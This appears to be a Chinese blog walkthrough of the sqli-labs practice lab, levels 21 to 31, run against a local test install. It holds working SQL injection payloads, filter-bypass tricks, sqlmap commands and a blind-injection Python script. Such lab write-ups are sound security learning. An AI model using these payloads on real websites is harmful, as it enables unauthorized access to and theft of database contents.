Less-21

常规型

使用admin登录尝试,
m0re
判断闭合符号
使用base64进行了编码,所以payload也使用base64进行一次编码

admin\
YWRtaW5c

m0re
所以闭合符号为')
然后就可以进行注入了
判断列数

admin') order by 1#
YWRtaW4nKSBvcmRlciBieSAxIw==

测试到4,报错,列数只有3。跟前面一样
m0re
联合查询,判断回显点

') union select 1,2,3#

m0re
回显点找到,爆数据库名

') union select 1,2,database()#
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

m0re
接着爆表名

') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

m0re
然后就是爆数据的字段了,然后再爆值就行了,不多说。

报错型

判断个数据库名

') updatexml(1,concat(0x7e,(select database()),0x7e),1)#
JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpKSM=

m0re
其他的按照报错注入的流程来进行就可以了。

Less-22

这个与前一关相比就是闭合符号改变了,本关的闭合符号是双引号"
然后就是重复上面的操作,不再多说。
这个也是可以报错注入进行操作的。

Less-23

常规操作

这一关是get类型,先判断闭合符号,发现是单引号闭合。
这一关是过滤了注释符号,查看源码是可以看出过滤了#+--
m0re
知识了解
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
MySQL中的注释符
1.单行注释: --+或--空格 或#
2.多行注释: /*多行注释内容*/
去除注释符的代码分析
preg_replace(mixed $pattern,mixed $replacement,mixed $subject) 执行一个正则表达式的搜索和替换。
参数说明:
第一个参数:要搜索的模式,可以是字符串或一个字符串数组。
第二个参数:用于替换的字符串或字符串数组
第三个参数:要搜索替换的目标字符串或字符数组

那么就想办法绕过,利用注释符过滤不能成功闭合单引号,换一种思路,利用or '1'='1闭合单引号。于是有下面的payload。

?id=-1' union select 1,2,'3

m0re
可以看到成功执行了SQL语句。
接下来就是爆数据库

?id=-1' union select 1,database(),'3

m0re
然后就可以按照常规操作进行注入。

使用sqlmap进行注入

使用sqlmap进行探测绕过去注释符的SQL注入攻击

python sqlmap.py -u "url" --batch

m0re
探测出id位置可能存在注入,并开始注入。时间较长。
已经探测出存在有注入了,其实就可以进行下一步了。

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-23/?id=1" --dbs --batch

这个比较快
m0re
然后又是傻瓜式操作,为所欲为吧。

Less-25

根据它的提示,知道过滤了and和or。
mysql中大小写不敏感,大小写都一样
mysql对十六进制和URL编码是会自动解码的。
符号和关键字替换

and==&&or==||
内联注释:/*! 内联注释*/会被当作SQL语句执行
多行注释/**/

绕过策略:
1.大小写变形————————大小写不敏感直接被剔除。
2.注释绕过:例如: a/**/nd
3.双写绕过 例如:oorr
4.利用符号替代绕过:如: and--&& or---||

判断闭合符号,发现是单引号闭合。
m0re
然后判断是否存在注入

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorr 1=1--+
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' Anandd 1=1--+

双写绕过成功,
m0re

http://127.0.0.1/sqli-labs-master/Less-25/?id=1' || 1=1--+

符号绕过成功。目前的PHP版本可能不支持&&绕过,可以换成其他的版本试试。
m0re
下面进行sqlmap进行注入
数据库名也猜解出来了。
m0re
然后进行后续操作就行。

Less-25a

在上一关的基础上加了盲注,用脚本就行了,目前脚本正在学习。还是在百度找的大佬的脚本。

#! /usr/bin/env python
#coding=utf-8
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'

#boolean blind sql injection
def attack(target):
    url = "http://127.0.0.1/sqli-labs-master/Less-25a/?id=1 anandd (select substr({0},{1},1))='{2}'"
    count = 1
    result = ''
    while(True):
        result_tmp = result
        for char in chars:
            if char == '\\':
                char = '\\\\'
            print url.format(target,count,char)
            response = requests.get(url.format(target,count,char))
            soup = BeautifulSoup(response.text,'lxml')
            font = soup.select('font["size=5"]')[0]
            print font
            if 'Your' in font.get_text():
                result+=char
                print result+'......'
                break
        #判断是否结束
        if result_tmp == result:
            print u'脚本结束(结果不区分大小写)'
            print result
            break
        count = count+1

还可以使用sqlmap进行探测
m0re
这里也可以看出来是时间盲注。继续探测
m0re
数据库探测到了,继续操作就行。

Less-26

过滤空格和注释符。
空格绕过可以使用以下方法:
过滤空格的绕过方式
编码:常见的URL编码:%0a换行 %20空格 tab(水平): %09
/**/
就将SQL语句中的空格换成/**/就行了,其他操作与上面一样。

Less-26a

同样的套路,仍然是加了盲注,所以使用sqlmap或者脚本都可以做。
脚本就不贴了, 自行百度吧,也不能总用别人写的脚本。

Less-27

过滤union和select的关卡,这个绕过方式就是双写,大小写,编码绕过。
还有其他的过滤一起加上了
m0re
这里使用大小写加双写绕过,
注释符被过滤,所以先对此进行绕过

http://127.0.0.1/sqli-labs-master/Less-27/?id=1'||'1'='1

然后爆数据库,这里是对union和select进行过滤,使用双写大小写混合可绕过,不过还有空格的绕过,这里我试了/**/不行,所以就用一下%0A进行绕过。

http://127.0.0.1/sqli-labs-master/Less-27/?id=1'%0AuNiunionOn%0AseLeselectct%0A1,2,3||'1'='1

可以发现成功了。
m0re
然后就可以进行爆数据库名了。

http://127.0.0.1/sqli-labs-master/Less-27/?id=999'%0AuNiunionOn%0AseLeselectct%0A1,database(),3||'1'='1

这个无法使用id=-1因为过滤了-所以就用个比较大的数1000、999之类的数字都行。
m0re
就是这样,剩下的就是为所欲为了。

Less-27a

这一关与27关不同的只是闭合符号不一样,本关是双引号闭合

http://127.0.0.1/sqli-labs-master/Less-27a/?id=1" or "1"="1

m0re
剩下的就跟27关一样了,老套路往上套就行了。

Less-28

这个判断闭合符号没有判断出来,于是看下源代码,
m0re
看到了是')闭合,突然想到一个办法,就是暴力猜解
使用一个常见的闭合符号做的字典,然后使用burp进行暴力破解
果然可以,得到了几个,范围小很多了。
m0re

http://127.0.0.1/sqli-labs-master/Less-28/?id=999')%0AUnIunion%0Aselecton%0AsElEct%0A1,database(),3||('1')=('1

m0re
奥,好吧,这个原来是要一个一个尝试的,根据回显正确还是错误来判断。emmm,我用sqlmap跑一下试试。

eeeee,就是太慢了,闭合符号能判断出来就行。
对了,再说一下这个payload。
%0A绕过空格就不用细说了。主要是这个union select,需要先构造一个union select给它过滤,这里用到双写。而且union select必须要连在一起才行。后面用or'1'='1形式来绕过注释符。

Less-28a

这个跟28一样,闭合符号都没有变,而且这一关没有过滤空格
m0re
所以只需要进行注释绕过和union select绕过即可。

Less-29

eee,原本没看懂什么意思,这个是直接可以注入的,

m0re
直接得到数据库名了。
而且我用sqlmap跑了一遍,也没有问题。
m0re
所以我有点迷,这一关是要干什么?
然后查了一下网上大师傅的博客,看到好多个不同的,然后找到一个比较好的博客,这里先贴出来🔑sql-labs/Less-29
这位师傅的博客写的非常详细,学习了。
就是问题是
m0re
我的为什么没有跳转到hacked.jsp
可能是我的靶场哪里出了问题。不过还是了解了tomcat服务器,还有注入时遇到双服务器。

Less-30-31

然后的话,30和31和这一关没什么太大区别,都是老套路。就不总结了。

下周继续努力。